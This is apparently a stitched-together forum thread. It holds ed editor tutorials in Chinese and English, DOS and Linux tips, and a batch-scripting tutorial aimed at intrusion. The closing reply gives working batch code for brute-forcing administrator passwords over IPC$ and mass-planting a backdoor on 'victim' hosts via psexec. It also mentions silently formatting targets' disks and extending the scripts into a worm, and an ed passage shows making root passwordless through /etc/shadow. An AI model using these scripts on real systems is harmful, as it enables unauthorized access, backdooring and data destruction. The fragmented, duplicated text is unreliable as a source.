. <- 返回 ed 的命令行状态
c <- 告诉 ed 我要替换最后一行输入内容
I am 24 years old. <- 将“i am 24.”替换成“i am 24 years old.”(注意:这里替换的是最后输的内容)
. <- 返回 ed 的命令行状态
w readme.text <- 将文件命名为“readme.text”并保存(注意:如果是编辑已经存在的文件,只需要敲入 w 即可)
q <- 完全退出 ed 编辑器
$ 返回到 Linux 系统的命令行状态
这是文件的内容是:
$ cat readme.text <-
My name is Titan.
I am 24 years old.
And I love Perl vrey much.
$
forward.molly.宝儿 独自行走
ed编辑器简单使用总结 2010-01-10 12:59:04
分类: LINUX
ed
ed 编辑器是 Linux 操作系统下最简单的文本编辑器。它是以行为单位对文件进行编辑不像 MS-DOS 系统下的 edit 那样是以整个屏幕框架为单位对文件进行编辑的。
ed编辑器有两个状态:命令行状态和编辑状态。前者接收输入的ed命令也是默认启动状态,后者对文件以行为单位进行编辑,下面开始学习。
**新建一个文件testNew:
*方法1,先指定文件名,输入过程如下:
$ls
$ed testNew
testNew: No such file or directory <==此处是输出,表示一个不存在的文件。
w
0 <==此处是输出,表示写了0个字符。
q
$ ls
testNew <==此处是输出,可见多了一个新的空文件。
这里,w表示写命令,q退出,后面会提到。如果没有w那么q之后也不会建立新的文件。
*方法2,写时再指定名字,输入过程如下:
$ls
testNew <==此处是输出,只有刚才新建的文件。
$ed
w
? <==此处是输出,?表示有问题,或命令不识别或别的,此处是缺少文件名。
w
? <==此处是输出,同上。
w testNew2
0 <==此处是输出,表示写了0个字符。
q
$ls
testNew testNew2 <==此处是输出,可见多了一个新的空文件testNew2。
这里,因为是一个新文件,所以如果一直w且没输入文件名的话,会一直提示,直至你指定了一个文件名。如果在w testNew2之前按q将直接退出,这样也不会建立这个新文件了。
**
**编辑已存在的文件:
*编辑文件testNew
$ed testNew
0 <==此处是输出,表示读了0个字符。
这里,默认进入的是命令状态,你可以输入任何命令进行编辑文件。按q退出。
*命令行状态常用命令:
a <==在文件的末尾添加新内容。
i <==在文件的最后一行之前插入新内容。
o <==把文件输入的最后一行(不论是原来存在的或者插入的)替换成新内容。
. <==退出编辑文件模式进入命令行模式(注意:此时并没有退出 ed 编辑器)。
w <==保存文件,如果指定一个名称表示另存为的意思,这就不改变当前文件了。
q <==退出 ed 编辑器,如果没有w则提示?,再次q就非保存退出了。
Q <==相当强制退出,无论保存与否。
**
*新建一个文件并编辑的流程举例:
$ ed
a <==输入a告诉 ed 我要编辑新文件
My name is QuietHeart. <==输入第1行内容
And I love ed very much. <==输入第2行内容
. <==输入.返回 ed 的命令行状态
i <==输入i告诉 ed 我要在最后一行之前插入内容
I am 25. <==输入,将“I am 25.”插入“My name is ...”和“And I love...”间.
. <==输入.返回 ed 的命令行状态
c <==输入c告诉 ed 我要替换最后一行输入内容
I am 25 years old. <==输入,将“I am 25.”替换成“I am 25 years old.”
.w <==输入,一个误操作,结果成了输入了。
q <==输入,由于前面一个误操作,结果成了输入了。
. <==输入.,这才返回 ed 的命令行状态,而不是前面.w
w testNew <==输入,将文件命名为“testNew”保存(如果已存在文件,只需要敲入 w否则会覆盖)
72 <==这里是输出,表示写入的字符数。
q <==输入q完全退出 ed 编辑器
下面,我们来看看刚刚新建的文件的内容:
$ cat testNew
输入之后,输出如下:
My name is QuitHeart.
I am 25 years old.
.w
q
And I love ed very much.
这里,我几乎都用到了前面给出的常用命令,我们可以了解ed最最简单的使用了,后面再说一些其它实用的命令。
常用的命令
*打印所有行:
%p
*打印所有行并且显示行号:
%n
*打印当前行:
.p
*打印当前行并且显示行号:
.n
*跳到第3行:
3
*显示并切换到下一行:
+
下两行则++
*显示并切换到上一行:
-
上两行则--
*退出:
q
这里如果没有保存则第一次退不出去,再q就退出但没有保存。
*强制退出:
Q
不会保存。
ed行编辑器的简单使用说明 2009-02-01 12:13:48
分类:
ed 分为命令方式和输入方式两种状态。
当出现提示符“*”时,ed处于命令方式。
ed 命令的一般格式为: 命令字
ed 的大部分命令均为单个小写字母。
1、附加文件命令(a)
a 回车 ,其中n是行号
a 命令可以跟在行号 n 的后边,如 10a 表示在第10行之后开始附加。如果不指定行号,就是在当前行之后开始附加。
停止附加的方法为:在一个空行的行首键入“.”,然后按回车键,ed 将返回命令方式。
2、插入命令 (i)
i回车
i 命令与 a 命令的作用基本上是一样的,所不同的是:当指定行号时,i 命令在那行之前插入,而 a 命令在那行之后插入。
在一个新建的文件中,在一行也没有的情况不能使用 i 命令。
3、更改命令(c)
c回车
ed 用新输入的文本取代由 n1 和 n2 确定的若干行范围内原有的文本。如未指定行则替换当前行。
4、按行号寻址
p
p 命令可省略,直接输入行号,指针跳转到指定行号。
其中“.”代表当前行号,“$”代表最后一行,“,”代表全部文本,“;”代表从当前行到最后一行的所有文本。
5、字符串寻址
/指定字符串/命令回车
?指定字符串?命令回车
6、全局查找
g/字符串/命令回车,对所有包含指定字符串的行进行指定命令操作。
v/字符串/命令回车,对所有不包含指定字符串的行进行指定命令操作。
7、相对寻址
命令 回车
相对于行号1加减 n 行到相对于行号2加减 n 行的范围执行指定命令操作。
8、带行号显示文本(n)
n 回车
9、删除文本(d)
d 回车
10、恢复命令(u)
u回车
11、替换文本(s)
s/旧文本/新文本/回车
参数内容:
g :替换指定行内的所有旧文本,当某行文本包括两个以上旧文本时,若不用此参数,则只替换头一个。
l :将被替换行的内容连同不可见的字符都显示出来。对于有汉字的行使用这个参数将显示乱码。
p :将被替换的最后一行显示出来。
n :将被替换的最后一行连同行号一同显示出来。
上述四个参数中,g 命令可以与其他三个组合使用。其功能就是二者的迭加。但 g 参数与其他参数合用时必须 g 在前面。
12、通配符
在查找、替换命令中时:
. :代表任意一个字符
* :代表任意多个相同字符
.* :代表任意多个任意字符
13、转义字符(\)
使特殊字符失去意义。
14、移动若干行文本(m)
m 行号3 回车
15、拷贝若干行文本(t)
t 行号3 回车
16、将两行连接成一行
j回车
17、存盘(w)
w回车
18、退出(q)
q回车
若未存盘,会提示。
19、不保存退出(Q)
Q回车
ed 的最简单的使用方法是:
line +命令
比如
1p是从第1行开始显示
1d是从第1开始删除
1c是从第1行开始修改
如果你是要改shadow 文件,可以先备份后,ed /mnt/etc/shadow(当然要先把硬盘挂到/mnt目录下)
然后
1c(修改第一行,就是root:......一行)
root:::0:0(让root用户无密码)
(结束输入)
wq
就行了。
ex为ed的增强版本 .
Last edited by zzz19760225 on 2016-7-24 at 13:02 ]
Chuan K Yu-SpeakHero 2010-03-30
DOS can only access FAT, it doesn't recognize NTFS. Using single lookup is okay: CD X: and DIR.
Among the common commands, there is no one specifically set up for finding files. Does that mean there's no corresponding command and you have to search directory by directory? No, here's another trick. For example, if we want to see all files starting with WT in the current directory and its subdirectories, enter DIR WT*.*/S, and the system will display the files starting with WT and their directories. That is to say, to find a certain file, actually we just need to display it on the screen, and the "/s" parameter of DIR is to view the files in subdirectories together. Using this parameter can achieve the purpose of finding. The "/a" and "/h" and "/ah" of DIR can also help you quickly find hidden files. This is most useful when deleting files.
dir <first character>*.*/s
---------------------------------------------------------------------------------------
*wlm2012 posted 3 days ago | Only look at the original poster
The source has it, apt-get install robocode can be installed directly.
*wchyumo2011 2015-05-20 16:02
Currently, only part of the Chinese version of man has been translated. Thanks to the great selfless translators here.
Specific operation method: Enter in the terminal
sudo aptitude install manpages-zh
Or
sudo apt-get install manpages-zh
You will have the Chinese manual of man.
*q and ctl+c, information and process end?
*find / -name "*.*" search command, replace *.* with the previous file name or the following suffix name.
*Simple content of shell operation under Linux:
echo $((2+5*9))
In this way, there is a $ in front, and then put the formula in parentheses (two parentheses before and after), this only supports integer four arithmetic operations
*Writing text with vim under the shell of Linux:
Enter vi file name plus suffix in the shell, press Enter, then enter i, and you can enter text information at the cursor.
Press the esc key, enter :wq and press Enter, then save and exit.
*Some things about ed editing files under Linux (found from the Internet)
Basic application:
1, $n Print the content of the file and add line number information
n Go to line n (n is a number)
n Display the content of the current line (n is a character)
d Delete this line
/xx/ Find xx
?xx? Reverse find xx
// Find the next one
s/str1/str2/ Replace str1 with str2 in the current line
ns/str1/str2/ Replace str1 with str2 in line n
a,c,i Operate on the current line (a: add after the line c: modify the line content i: insert before the line)
Command parameters:
ed file
When there is an error, h provides simple help information, H provides detailed help information, enter the input method in the input mode on a separate line, return to the command format to save the file w. Wq =x
p .p Display the current line
= Display the line number of the current line
np Display line n
1,6p Display lines 1-6
$p Display the last line
1,$p Display all lines
+ Display the next line
- Display the previous line
n Display the current line and line number
nn Display line n and line number
x,yn Display lines x-y and line numbers
l Display the current line including non-printable characters
d Delete the current line
u Undo the last command
s /str1/str2 Replace str1 with str2
s/str1// Delete str1
2s/str1/str2/n Change str1 in line 2 to str2 and display the modified line
s/str1/str2/g Replace throughout
<first>,<end>m<line>
2,4m6 Move lines 2-4 after line 6
t Block copy format is the same as m
r file Read the file to the current line
<first>,<end> w file Write the block to the file
!cmd Execute the shell command
/Pattern/ Forward find command
?Pattern? Reverse find command
// Continue to find the second one
g/the/p Find and display throughout
g/the/s/the/that/ Find the throughout the and replace the throughout the with that
v is opposite to the g command
v/the/n Find and display without containing the throughout
No character
^ represents the beginning of the line $ end of the line. Any character * any number of characters the same as the previous one
/A….B/ Start with A and end with B with 3 arbitrary in the middle
. s/. /. The first. current line
The second. any character
The third. character
s/xx*/y/ Replace 2 or more x with y
s/x*y/y/ Replace all characters starting with x and ending with y with y
& represents the content of the first pattern
/Pattern 1/(Pattern 1)/=/Pattern 1/(&)/
means x or z
means any number from 0-9
----------------------------------------------------------------------------------------------
The ed editor is the simplest text editor under the Linux operating system. It is an editor that edits files line by line, unlike the edit under the MS-DOS system which edits files frame by frame. Therefore, if you are used to using an editor in this style, then you may need some time to get used to the style of ed. But this is not important, because the simplicity of ed can make you get started quickly.
The call of the ed editor is very simple. If you want to create a new file, then you only need to type ed in the command line window and press Enter:
$ ed <-
If you want to edit an existing file, then you just leave a space after ed and type the file name:
$ ed filename <-
After activating the ed command, you enter the command line state of the ed editor, which may make some beginners a little unaccustomed. If you type some content casually at this time, the system will return a ?, indicating that it doesn't know what task you want to perform:
$ ed <-
abcde <-
?
At this time, you need to clarify a few editor commands, which are:
a - Add new content at the end of the file
i - Insert new content before the last line of the file
o - Replace the last line input by the file (whether it exists originally or inserted) with new content
. - Exit the file editing mode and enter the command line mode (note: at this time, it has not exited the ed editor)
w - Save the file
q - Really exit the ed editor
The following I will give examples to illustrate these commands.
$ ed <- Activate the ed command
a <- Tell ed I want to edit a new file
My name is Titan. <- Enter the first line of content
And I love Perl very much. <- Enter the second line of content
. <- Return to the command line state of ed
i <- Tell ed I want to insert content before the last line
I am 24. <- Insert "i am 24." between "my name is titan." and "and i love perl very much."
. <- Return to the command line state of ed
c <- Tell ed I want to replace the last line of input content
I am 24 years old. <- Replace "i am 24." with "i am 24 years old." (note: here it replaces the last input content)
. <- Return to the command line state of ed
w readme.text <- Name the file "readme.text" and save it (note: if you are editing an existing file, just type w)
q <- Completely exit the ed editor
$ Return to the command line state of the Linux system
The content of this file is:
$ cat readme.text <-
My name is Titan.
I am 24 years old.
And I love Perl vrey much.
$
forward.molly.baoer Walking alone
Summary of simple use of ed editor 2010-01-10 12:59:04
Classification: LINUX
ed
The ed editor is the simplest text editor under the Linux operating system. It edits files line by line, unlike the edit under the MS-DOS system which edits files frame by frame.
ed has two states: command line state and editing state. The former receives the entered ed command and is also the default startup state, and the latter edits the file line by line. Let's start learning.
**Create a new file testNew:
*Method 1, first specify the file name, the input process is as follows:
$ls
$ed testNew
testNew: No such file or directory <== This is the output, indicating a non-existent file.
w
0 <== This is the output, indicating that 0 characters were written.
q
$ ls
testNew <== This is the output, it can be seen that there is a new empty file.
Here, w means the write command, q exits, and it will be mentioned later. If there is no w, then after q, there will be no new file established.
*Method 2, specify the name when writing, the input process is as follows:
$ls
testNew <== This is the output, only the newly created file just now.
$ed
w
? <== This is the output,? means there is a problem, or the command is not recognized or something else, here it is lack of file name.
w
? <== This is the output, the same as above.
w testNew2
0 <== This is the output, indicating that 0 characters were written.
q
$ls
testNew testNew2 <== This is the output, it can be seen that there is a new empty file testNew2.
Here, because it is a new file, so if you keep w and don't enter the file name, it will keep prompting until you specify a file name. If you press q before w testNew2, you will directly exit, and in this way, this new file will not be established.
**
**Edit an existing file:
*Edit file testNew
$ed testNew
0 <== This is the output, indicating that 0 characters were read.
Here, it enters the command state by default, and you can enter any command to edit the file. Press q to exit.
*Common commands in command line state:
a <== Add new content at the end of the file.
i <== Insert new content before the last line of the file.
o <== Replace the last line input by the file (whether it exists originally or inserted) with new content.
. <== Exit the file editing mode and enter the command line mode (note: at this time, it has not exited the ed editor).
w <== Save the file. If a name is specified, it means saving as, which does not change the current file.
q <== Exit the ed editor. If there is no w, it will prompt?, and then q will exit without saving.
Q <== Equivalent to forced exit, regardless of saving or not.
**
*An example of the process of creating a new file and editing:
$ ed
a <== Enter a to tell ed I want to edit a new file
My name is QuietHeart. <== Enter the first line of content
And I love ed very much. <== Enter the second line of content
. <== Enter. Return to the command line state of ed
i <== Enter i to tell ed I want to insert content before the last line
I am 25. <== Enter, insert "I am 25." between "My name is ..." and "And I love..."
. <== Enter. Return to the command line state of ed
c <== Enter c to tell ed I want to replace the last line of input content
I am 25 years old. <== Enter, replace "I am 25." with "I am 25 years old."
.w <== Enter, a misoperation, the result becomes input.
q <== Enter, due to a previous misoperation, the result becomes input.
. <== Enter., this just returns to the command line state of ed, not the previous .w
w testNew <== Enter, name the file "testNew" and save it (if the file already exists, just type w, otherwise it will be overwritten)
72 <== Here is the output, indicating the number of characters written.
q <== Enter q to completely exit the ed editor
Next, let's take a look at the content of the newly created file:
$ cat testNew
After entering, the output is as follows:
My name is QuitHeart.
I am 25 years old.
.w
q
And I love ed very much.
Here, I almost used all the common commands given earlier, and we can understand the simplest use of ed. Let's talk about some other practical commands later.
Common commands
*Print all lines:
%p
*Print all lines and display line numbers:
%n
*Print the current line:
.p
*Print the current line and display line numbers:
.n
*Jump to line 3:
3
*Display and switch to the next line:
+
The next two lines are ++
*Display and switch to the previous line:
-
The previous two lines are --
*Exit:
q
Here, if there is no saving, the first time you can't exit, and then q will exit but not save.
*Forced exit:
Q
Will not save.
Simple use instructions for ed line editor 2009-02-01 12:13:48
Classification:
ed is divided into two states: command mode and input mode.
When the prompt "*" appears, ed is in command mode.
The general format of the ed command is: command word
Most commands of ed are single lowercase letters.
1. Append file command (a)
a Enter, where n is the line number
The a command can follow after line number n, such as 10a means start appending after line 10. If the line number is not specified, it starts appending after the current line.
The way to stop appending is: type "." at the beginning of an empty line and press Enter, and ed will return to command mode.
2. Insert command (i)
i Enter
The i command is basically the same as the a command. The difference is: when the line number is specified, the i command inserts before that line, and the a command inserts after that line.
In a newly created file, the i command cannot be used when there is no line.
3. Change command (c)
c Enter
ed replaces the original text in the range of several lines determined by n1 and n2 with the newly input text. If no line is specified, the current line is replaced.
4. Addressing by line number
p
The p command can be omitted, and the line number can be entered directly, and the pointer jumps to the specified line number.
Among them, "." represents the current line number, "$" represents the last line, "," represents all text, and ";" represents all text from the current line to the last line.
5. String addressing
/designated string/ command Enter
?designated string? command Enter
6. Global search
g/string/ command Enter, perform the specified command operation on all lines containing the specified string.
v/string/ command Enter, perform the specified command operation on all lines not containing the specified string.
7. Relative addressing
command Enter
Perform the specified command operation on the range from line number 1 plus or minus n to line number 2 plus or minus n.
8. Display text with line numbers (n)
n Enter
9. Delete text (d)
d Enter
10. Restore command (u)
u Enter
11. Replace text (s)
s/old text/new text/ Enter
Parameter content:
g: Replace all old text in the specified line. If a line of text includes two or more old texts, if this parameter is not used, only the first one will be replaced.
l: Display the content of the replaced line including invisible characters. Using this parameter for a line with Chinese characters will display garbled characters.
p: Display the last line that was replaced.
n: Display the last line that was replaced together with the line number.
Among the above four parameters, the g command can be combined with the other three. Its function is the superposition of the two. But when the g parameter is used in combination with other parameters, g must be in front.
12. Wildcards
When in find and replace commands:
. : represents any one character
* : represents any number of the same characters
.* : represents any number of any characters
13. Escape character (\)
Make special characters lose their meaning.
14. Move several lines of text (m)
m line number 3 Enter
15. Copy several lines of text (t)
t line number 3 Enter
16. Connect two lines into one line
j Enter
17. Save disk (w)
w Enter
18. Exit (q)
q Enter
If there is no saving, it will prompt.
19. Exit without saving (Q)
Q Enter
The simplest way to use ed is:
line + command
For example
1p is to display from line 1
1d is to delete from line 1
1c is to modify from line 1
If you want to change the shadow file, you can back it up first, then ed /mnt/etc/shadow (of course, you have to mount the hard disk to the /mnt directory first)
Then
1c (modify the first line, which is the root:...... line)
root:::0:0 (make the root user passwordless)
(End input)
wq
That's it.
ex is an enhanced version of ed.
Last edited by zzz19760225 on 2016-7-24 at 13:02 ]
|

1<词>,2,3/段\,4{节},5(章)。 |
|
2016-2-7 02:05 |
|
|
zzz19760225
超级版主
        
积分 3673
发帖 2020
注册 2016-2-1
状态 离线
|
『第 10 楼』:
使用 LLM 解释/回答一下
天亮说晚安、4级
2010-02-05 回答
本人有很多,希望对你有帮助
补充:
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法:
echo
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命
令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使
用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这
个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令
就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你
自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入
驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签
。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法:
call FileName ] ]
参数:
FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本
内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提
示可输入的字符,之间无空格。它的返回码为1234......
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end? 用户可选择d m e ,然后if语句将作出判断,d表示执行
标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后
都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:
1)、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2)、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3)、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable│%%variable} in (set) do command
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
FOR /D %variable IN (set) DO command
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R path] %variable IN (set) DO command
检查以 path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用
当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
或者,如果有 usebackq 选项:
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读
取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字
符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白
行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同
解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一
个符号解析之分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用双引号扩起
文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for
程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用
%j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用
双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens=
一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字
母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。
这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符
串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此
,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变
量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似
%I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下
密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给
find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完
成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会
变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵
,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数
%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码
(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容
是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
------------------- cut here then save as a batchfile(I call it door.bat) ------------------
-----------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3
>>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------
------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一
目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功
能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见
,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat 写不下了,分几批发上来吧!!!
补充:
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添
足了~
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令
写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令
了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则
